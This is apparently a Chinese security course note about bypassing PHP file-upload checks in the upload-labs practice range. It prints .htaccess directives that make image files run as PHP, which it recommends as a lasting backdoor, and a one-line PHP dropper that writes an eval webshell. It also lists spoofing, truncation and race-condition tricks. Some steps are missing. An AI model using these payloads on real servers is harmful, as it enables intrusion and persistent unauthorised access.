当前位置: 首页 > article >正文

DAY47WEB 攻防-PHP 应用文件上传函数缺陷条件竞争二次渲染黑白名单JS 绕过

1、PHP-原生态-文件上传-检测后缀&黑白名单
2、PHP-原生态-文件上传-检测信息&类型内容
3、PHP-原生态-文件上传-函数缺陷&逻辑缺陷
4、PHP-原生态-文件上传-版本缺陷&配置缺陷

文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

测试环境安装参考:

本地使用phpstudy安装upload-labs靶场

https://github.com/fuzzdb-project/fuzzdb

1、前端JS

如何判断是否是前端验证呢?

首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

如何绕过?

先上传一个图片后缀抓包改成脚本后缀

2、.htaccess(apache独有的配置文件)

一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行
这个文件定义了哪个文件可以以脚本方式运行

方式一:
在.htaccess中写入:

<FilesMatch "s.jpg">

SetHandler application/x-httpd-php

</FilesMatch>

然后再上传s.jpg的木马, 这样s.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

方式二:

AddType application/x-httpd-php .png  

3、MIME类型

Content-Type:image/png || image/jpeg

4、文件头判断

GIF89a

5、黑名单-过滤不严

无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)

6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)

系统大小写敏感属性

7、低版本GET-%00截断

自动解码一次
/var/www/html/upload/x.php%00

8、低版本POST-%00截断

9、黑名单-过滤不严

10、逻辑不严-条件竞争

2.请求不断发包

3.访问创建脚本代码

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

11、二次渲染(后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况)

1.先搞个正常图片,上传图片后导出渲染后的图片

3.最后利用提示的文件包含执行图片后门代码

12、函数缺陷

1.使用move_uploaded_file 函数
2.保存的文件名可控


http://www.kler.cn/news/353297.html

相关文章:

  • unity学习-全局光照(GI)
  • 【平方矩阵 + 蛇形矩阵】
  • pikachu靶场CSRF-post测试报告
  • 将java项目jar包打包成exe服务
  • 什么是感知与计算融合?
  • 【JVM】—深入理解G1回收器—回收过程详解
  • 微信小程序-自定义组件
  • 算法题总结(十五)——贪心算法(下)
  • 2024/10/9 数据结构打卡
  • 241013深度学习之GoogleLeNet
  • 波克 上海 Unity开发笔试题 2024
  • 自营机房服务器产品优势
  • C、C++常用数据结构:栈
  • Github 2024-10-13php开源项目日报 Top10
  • 美发店管理升级:SpringBoot技术实现
  • 基于yolov8、yolov5的安全帽检测系统(含UI界面、数据集、训练好的模型、Python代码)
  • QT 10.10
  • 服务器维保|思腾合力以专业力量 筑牢企业IT基石
  • 大数据面试题整理——HDFS
  • C语言笔记 18 —— 指针与数组
  • cmake Qt模板
  • dayjs日期格式化,开发uniapp或unicloud前后端进行时间格式转换
  • Linux——DNS服务器正向解析搭建教程
  • Java使用原生HttpURLConnection实现发送HTTP请求
  • Scala的flatten函数
  • Spring Boot构建高效医疗病历B2B交互平台